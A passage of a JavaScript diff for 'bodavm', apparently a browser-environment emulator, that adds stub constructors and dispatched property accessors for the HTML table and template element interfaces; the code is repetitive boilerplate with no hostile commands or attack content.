+bodavm.toolsFunc.defineProperty('HTMLTableCaptionElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_set", arguments); + } +}, 'prototype'); +// HTMLTableCellElement对象 + +bodavm.memory.globalobj['HTMLTableCellElement'] = function HTMLTableCellElement() { + console.log_copy('HTMLTableCellElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableCellElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCellElement'], "HTMLTableCellElement"); +bodavm.memory.globalobj['HTMLTableCellElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableCellElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "colSpan", { + configurable: true, + enumerable: true, + get: function colSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_get", arguments); + }, + set: function colSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "rowSpan", { + configurable: true, + enumerable: true, + get: function rowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_get", arguments); + }, + set: function rowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "headers", { + configurable: true, + enumerable: true, + get: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_get", arguments); + }, + set: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "cellIndex", { + configurable: true, + enumerable: true, + get: function cellIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "cellIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "axis", { + configurable: true, + enumerable: true, + get: function axis() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_get", arguments); + }, + set: function axis() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "noWrap", { + configurable: true, + enumerable: true, + get: function noWrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_get", arguments); + }, + set: function noWrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "abbr", { + configurable: true, + enumerable: true, + get: function abbr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_get", arguments); + }, + set: function abbr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "scope", { + configurable: true, + enumerable: true, + get: function scope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_get", arguments); + }, + set: function scope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_set", arguments); + } +}, 'prototype'); +// HTMLTableColElement对象 + +bodavm.memory.globalobj['HTMLTableColElement'] = function HTMLTableColElement() { + console.log_copy('HTMLTableColElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableColElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableColElement'], "HTMLTableColElement"); +bodavm.memory.globalobj['HTMLTableColElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableColElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "span", { + configurable: true, + enumerable: true, + get: function span() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_get", arguments); + }, + set: function span() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_set", arguments); + } +}, 'prototype'); +// HTMLTableElement对象 + +bodavm.memory.globalobj['HTMLTableElement'] = function HTMLTableElement() { + console.log_copy('HTMLTableElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableElement'], "HTMLTableElement"); +bodavm.memory.globalobj['HTMLTableElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableElement', "caption", { + configurable: true, + enumerable: true, + get: function caption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_get", arguments); + }, + set: function caption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "tHead", { + configurable: true, + enumerable: true, + get: function tHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_get", arguments); + }, + set: function tHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "tFoot", { + configurable: true, + enumerable: true, + get: function tFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_get", arguments); + }, + set: function tFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "tBodies", { + configurable: true, + enumerable: true, + get: function tBodies() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tBodies_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rows_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_get", arguments); + }, + set: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "frame", { + configurable: true, + enumerable: true, + get: function frame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_get", arguments); + }, + set: function frame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "rules", { + configurable: true, + enumerable: true, + get: function rules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_get", arguments); + }, + set: function rules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "summary", { + configurable: true, + enumerable: true, + get: function summary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_get", arguments); + }, + set: function summary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellPadding", { + configurable: true, + enumerable: true, + get: function cellPadding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_get", arguments); + }, + set: function cellPadding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellSpacing", { + configurable: true, + enumerable: true, + get: function cellSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_get", arguments); + }, + set: function cellSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createCaption", { + configurable: true, + enumerable: true, + writable: true, + value: function createCaption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createCaption", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTBody", { + configurable: true, + enumerable: true, + writable: true, + value: function createTBody() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTBody", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTFoot", { + configurable: true, + enumerable: true, + writable: true, + value: function createTFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTFoot", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTHead", { + configurable: true, + enumerable: true, + writable: true, + value: function createTHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTHead", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteCaption", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteCaption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteCaption", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteRow", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteRow", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTFoot", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTFoot", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTHead", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTHead", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "insertRow", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "insertRow", arguments); + } +}, 'prototype'); +// HTMLTableRowElement对象 + +bodavm.memory.globalobj['HTMLTableRowElement'] = function HTMLTableRowElement() { + console.log_copy('HTMLTableRowElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableRowElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableRowElement'], "HTMLTableRowElement"); +bodavm.memory.globalobj['HTMLTableRowElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableRowElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "rowIndex", { + configurable: true, + enumerable: true, + get: function rowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "rowIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "sectionRowIndex", { + configurable: true, + enumerable: true, + get: function sectionRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "sectionRowIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "cells", { + configurable: true, + enumerable: true, + get: function cells() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "cells_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "deleteCell", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteCell() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "deleteCell", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "insertCell", { + configurable: true, + enumerable: true, + writable: true, + value: function insertCell() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "insertCell", arguments); + } +}, 'prototype'); +// HTMLTableSectionElement对象 + +bodavm.memory.globalobj['HTMLTableSectionElement'] = function HTMLTableSectionElement() { + console.log_copy('HTMLTableSectionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableSectionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableSectionElement'], "HTMLTableSectionElement"); +bodavm.memory.globalobj['HTMLTableSectionElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableSectionElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "rows_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "deleteRow", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "deleteRow", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "insertRow", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "insertRow", arguments); + } +}, 'prototype'); +// HTMLTemplateElement对象 + +bodavm.memory.globalobj['HTMLTemplateElement'] = function HTMLTemplateElement() { + console.log_copy('HTMLTemplateElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTemplateElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTemplateElement'], "HTMLTemplateElement"); +bodavm.memory.globalobj['HTMLTemplateElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTemplateElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "content", { + configurable: true, + enumerable: true, + get: function content() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "content_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRoot", { + configurable: 